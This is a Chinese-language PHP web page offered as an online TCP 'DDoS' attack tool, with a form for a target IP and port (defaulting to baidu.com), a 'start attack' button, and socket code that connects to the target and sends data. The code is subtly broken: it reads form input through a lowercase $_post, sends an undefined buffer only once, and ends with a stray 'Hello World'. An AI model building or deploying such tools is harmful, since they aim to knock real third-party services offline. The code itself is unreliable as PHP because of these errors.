<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="author" content="">
<title>在线PHP数据包攻击_tcp </title>
</head>
<!-- PHP DOS, coded by Scratch Linux -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by Scratch Linux -->
<body>
<center><br><br>
<img src="http://tool.cccyun.cc/tool/ddos/main.jpg"><br>
<b>您的IP:</b> <font color="red"><?php
if(getenv('HTTP_CLIENT_IP')){
$onlineip = getenv('HTTP_CLIENT_IP');
}
elseif(getenv('HTTP_X_FORWARDED_FOR')){
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif(getenv('REMOTE_ADDR')){
$onlineip = getenv('REMOTE_ADDR');
}
else{
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
echo $onlineip;
?></font> (请不要随意攻击,避免数据堵塞导致死机)<br><br>
<form name="input" action="tcp.php" method="post">
目标IP:
<input type="text" name="http" size="15" maxlength="15" class="main" value = "baidu.com" onblur = "if ( this.value=='' ) this.value = 'baidu.com';" onfocus = " if ( this.value == 'baidu.com' ) this.value = '';">
端口:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "80" onblur = "if ( this.value=='' ) this.value = '80';" onfocus = " if ( this.value == '80' ) this.value = '';">
<br><br>
<input type="submit" value="开始攻击">
<br><br>
<center>
如果正在攻击中,请等待页面加载完成...
</center>
</form>
</center>
<!-- PHP DOS, coded by Scratch Linux -->
</body>
</html>
<?php
$host = $_post['http'];
$port = $_post['time'];
$timeout = 5;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (socket_connect($socket, $host, $port) === false) { // 创建连接
socket_close($socket);
$message = 'create socket error';
throw new Exception($message, socket_last_error());
}
if (socket_write($socket, $buffer) === false) { // 发包
socket_close($socket);
$message = sprintf("write socket error:%s", socket_strerror(socket_last_error()));
throw new Exception($message, socket_last_error());
}
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, $timeout);
$rspBuffer = socket_read($socket, 65536); // 接收回包
socket_close($socket);
echo "Hello World\n";